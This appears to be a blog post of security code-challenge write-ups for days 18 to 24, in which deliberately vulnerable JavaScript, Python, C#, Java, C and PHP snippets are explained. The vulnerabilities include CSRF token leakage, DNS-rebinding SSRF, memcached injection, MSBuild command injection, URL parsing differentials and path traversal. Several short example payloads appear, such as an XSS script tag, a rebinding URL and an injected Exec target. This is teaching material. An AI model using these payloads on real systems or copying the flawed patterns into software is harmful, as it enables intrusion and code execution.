  • User comments are converted to HTML using an XSLT template.
  • The XSLT filters HTML tags to prevent XSS.
  • Allowed tags: <b>, <i>, <u>, and links to https://example.org.
  • Links are allowed based on the href attribute, without tag name restriction.
  • This allows malicious script injection: <script href="/">alert(document.domain);</script>.

Day 18 - JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
const csrfProtect = require('csurf')({ cookie: true });

app.use(session({

    secret: process.env.SECRET,

    cookie: {

        secure: true,

        sameSite: 'none',

    },

}));


app.post('/upload', parseForm, csrfProtect, async (req, res) => {

    const f = req.files.template;

    if (path.extname(f.name) !== '.txt') {

        return res.status(400).send();

    }

    const id = uuid.v4();

    await f.mv(`public/uploads/${id}`);

    return res.json({id});

});


app.get('/exportPDF', csrfProtect, async (req, res) => {

    if (!req.query.id) {

        return res.status(400).send();

    }

    const id = path.basename(req.query.id);

    const dst = `public/export/${id}.pdf`;

    const f = buildForm(`public/uploads/${id}`).replaceAll('{csrf_token}', req.csrfToken());

    await fs.writeFile(dst, f);

    return res.send(`<a href="${escape(dst)}">Your PDF!<a>`);

});

  • The goal is to bypass CSRF protection and attack any endpoint.
  • The /exportPDF endpoint exports text files as PDF forms.
  • CSRF tokens are embedded in exported PDFs by replacing {csrf_token}.
  • CSRF middleware doesn’t protect GET requests, making /exportPDF vulnerable to CSRF.
  • Attackers need the file ID to trigger the export.
  • Attackers can upload files and trick other users into exporting them.
  • Exported PDFs contain the victim’s CSRF token.
  • Attackers can download the PDF, extract the token, and launch CSRF attacks on the victim’s behalf, performing privileged actions.

Day 19 - Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def is_their_service_broken(url: str) -> bool:

    try:

        host = requests.utils.urlparse(url).hostname

        res = socket.gethostbyname(host)

    except socket.gaierror:

        return False

    return not ipaddress.ip_address(res).is_private


@app.route('/avatar/<string:avatar>')

def fetch_avatar(avatar: str) -> Response:

    avatar = f'http://unstable-avatar-service.tld{avatar}'

    # This service is still in development and their DNS sometimes

    # point to their own internal network, make sure it's OK

    if not is_their_service_broken(avatar): 

        hash = md5(avatar.encode("ascii")).hexdigest()

        avatar = f'http://www.gravatar.com/avatar/{hash}'

    res = requests.get(avatar, stream=True, timeout=1)

    return make_response(

        stream_with_context(res),

        res.status_code,

        {'Content-Type': 'image/png'}

    )

  • New feature introduces a Server-Side Request Forgery (SSRF) vulnerability.
  • Validation function blocks requests to private IPs, but has a race condition.
    1. DNS lookup resolves hostname to public IP (accepted by validation).
    1. request.get() sends another DNS request (potential delay).
    1. During this delay, attacker can change IP to a private one (internal service).
  • Attacker exploits this timing gap by manipulating DNS records.
  • Example payload: http://challenge/avatar/:x@0a004a8c.01010101.rbndr.us:1234
  • This tricks the server into sending a request to the attacker-controlled internal service (10.0.74.140:1234).

Challenge based on https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/

Day 20 - CSharp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// Start log server 

Socket socket = new Socket(

    AddressFamily.InterNetwork,

    SocketType.Dgram,

    ProtocolType.Udp);

socket.SetSocketOption(

    SocketOptionLevel.IP,

    SocketOptionName.ReuseAddress,

    true);

socket.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), 1337));


const int bufSize = 1024;

byte[] buffer = new byte[bufSize];

EndPoint epFrom = new IPEndPoint(IPAddress.Any, 0);

AsyncCallback recv = null;

socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv = (ar) =>

{

    int receivedBytes = socket.EndReceiveFrom(ar, ref epFrom);

    IPEndPoint src = epFrom as IPEndPoint;

    if (IsInRange(src.Address, "10.13.37.0/24"))

    {

        ConsumeLogMessage(epFrom, buffer, receivedBytes);

    }

    socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv, buffer);

}, buffer);
  • UDP socket is opened on port 1337 to receive log messages.
  • A callback function processes incoming UDP packets.
  • Packet validation checks if the source IP is within the 10.13.37.0/24 range.
  • UDP lacks strong security mechanisms like TCP’s handshake.
  • Attackers can spoof source IP addresses using tools like Scapy.
  • While internet ISPs often filter spoofed packets, some shady hosting providers allow it.
  • IP-based access control should consider this vulnerability.

Day 21 - Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
MemcachedConnector mcc = new MemcachedConnector("memcached", 11211);

mcc.set("welcome_en", "Hi there!");

mcc.set("welcome_de", "Hallo!");

mcc.set("welcome_fr", "Bonjour!");

mcc.set("auth_backend", "http://192.168.64.2:8000/");


HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);


srv.createContext("/", (HttpExchange he) -> {

    String lang = "en";

    if (he.getRequestURI().getQuery() != null) {

        for (String param : he.getRequestURI().getQuery().split("&")) {

            String[] entry = param.split("=");

            if (entry[0].equals("lang")) lang = entry[1];

        }

    }

    String welcomeMessage = mcc.get("welcome_" + lang);

    Main.response(he, 200, welcomeMessage);

});


srv.createContext("/login", (HttpExchange he) -> {

    try {

        JSONParser jsonParser = new JSONParser();

        JSONObject jsonObject = (JSONObject)jsonParser.parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));

        String authBackend = mcc.get("auth_backend");

        String body = "username=" + jsonObject.get("username") + "&password=" + jsonObject.get("password");

        HttpClient httpClient = HttpClient.newHttpClient();

        HttpRequest req = HttpRequest.newBuilder().uri(URI.create(authBackend))

                                     .POST(HttpRequest.BodyPublishers.ofString(body))

                                     .headers("Content-Type", "application/x-www-form-urlencoded").build();

        HttpResponse<String> resp = httpClient.send(req, HttpResponse.BodyHandlers.ofString());

        if (resp.statusCode() == 200) {

            Main.response(he, 200, "Welcome!\n");

            return;

        }

    } catch (Exception exp) { }

    Main.response(he, 403, "Login failed!\n");

});


srv.start();
  • The application uses memcached to store localized welcome messages.
  • The lang query parameter is directly inserted into the memcached query.
  • By injecting newline characters (\r\n), attackers can append additional memcached commands.
  • Attackers can manipulate the auth_backend key to redirect user credentials to a malicious server.
  • This vulnerability is similar to a real-world Zimbra vulnerability.

Challenge based on https://blog.sonarsource.com/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/

Day 22 - CSharp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
[HttpPost]

public string DummyBuild()

{

    // note: users can create files and subdirs in their project dir

    string src = GetCurrentUserProjectDir();

    var sources = Directory.GetFiles(src, "*.cs", SearchOption.AllDirectories)

                           .ToList()

                           .Select(x => @$"<None Include=""{x}"" />");


    string tmpDir = CreateTmpDir();

    System.IO.File.WriteAllText(Path.Combine(tmpDir, "app.csproj"), $@"

<Project Sdk=""Microsoft.NET.Sdk"">

<PropertyGroup><TargetFramework>net6.0</TargetFramework></PropertyGroup>

<ItemGroup>{string.Join(Environment.NewLine, sources)}</ItemGroup>

</Project>");


    var process = new System.Diagnostics.Process();

    process.StartInfo = new System.Diagnostics.ProcessStartInfo

    {

        WorkingDirectory = tmpDir,

        FileName = "dotnet",

        Arguments = "build",

        RedirectStandardOutput = true,

    };

    process.Start();

    var output = process.StandardOutput.ReadToEnd();

    process.WaitForExit();


    CleanUp(tmpDir);

    return output;

}
  • DummyBuild() function creates an XML project file based on user-provided file paths.
  • These paths are inserted into the template without escaping special characters (“, <, >).
  • Attackers can craft paths containing these characters to inject XML elements.
  • The generated file is used as a .NET project file with dotnet build.
  • An attacker can create a <Target> with an <Exec> command for arbitrary code execution.
  • Example path: "/></ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"/></Target><ItemGroup><None Include="/tmp/foo.cs
  • This creates a malicious project file structure with an embedded “id” command.
  • dotnet build executes the attacker-defined “Pwn” target before building, running the “id” command.

Day 23 - C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// I found this URL parser on stackoverflow, it should be good enough

bool validate_domain(const char *url) {

    char domain[100];

    int port = 80;

    sscanf(url, "https://%99[^:]:%99d/", domain, &port);

    return strcmp("internal.service", domain) == 0;

}


int main(int argc, char **argv) {

  // [...]

  const char *url = argv[1];


  if (!validate_domain(url)) {

    printf("validate_domain failed\n");

    return 1;

  }


  if ((curl = curl_easy_init())) {

    curl_easy_setopt(curl, CURLOPT_URL, url);

    res = curl_easy_perform(curl); 

    switch(res) {

    case CURLE_OK:

        printf("All good!\n");

        break;

    default:

        printf("Nope :(\n");

        break;

    }

  }

  // [...]

}
  • The validate_domain() function uses a simplified URL parsing approach.
  • This approach differs from standards like RFC 2396 and RFC 3986.
  • Libraries like libcurl implement more comprehensive URL parsing.
  • This discrepancy can lead to different interpretations of the same URL.
  • This is known as a URL parsing differential.
  • Attackers can exploit this by crafting malicious URLs that target unintended hosts.
  • Example: https://internal.service:@very-sensitive-internal.service/

Day 24 - PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
define('UPLOAD_FOLDER',

       sys_get_temp_dir().DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR);


function validateFilePath($fpath) {

  // Prevent path traversal

  if (str_contains($fpath, '..'.DIRECTORY_SEPARATOR)) {

    http_response_code(403);

    die('invalid path!');

  }

}


function uploadFile($src, $dest) {

  $path = dirname($dest);

  if (!file_exists($path)) {

    mkdir($path, 0755, true);

  }

  move_uploaded_file($src, $dest);

}


function normalizeFilePath($fpath) {

  if (strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')) {

    return str_replace('\\', '/', $fpath);

  }

  return $fpath;

}


$src  = $_FILES['file']['tmp_name'];

$dest = UPLOAD_FOLDER.$_FILES['file']['full_path'];

validateFilePath($dest);

uploadFile($src, normalizeFilePath($dest));

echo 'file uploaded!';
  • The application allows users to upload arbitrary files.
  • The destination path is constructed by concatenating the base path with the user-provided filename.
  • A basic check is done to prevent ../ in the filename to avoid path traversal.
  • However, the normalization process converts backslashes (\) to forward slashes (/) on Windows systems.
  • Attackers can exploit this by using \.. in the filename and setting a Windows User-Agent.
  • This bypasses the ../ check and allows path traversal to arbitrary locations.
  • An attacker can upload a malicious PHP file to the web root, enabling remote code execution.

This challenge is based from https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/

This post is licensed under CC BY 4.0 by the author.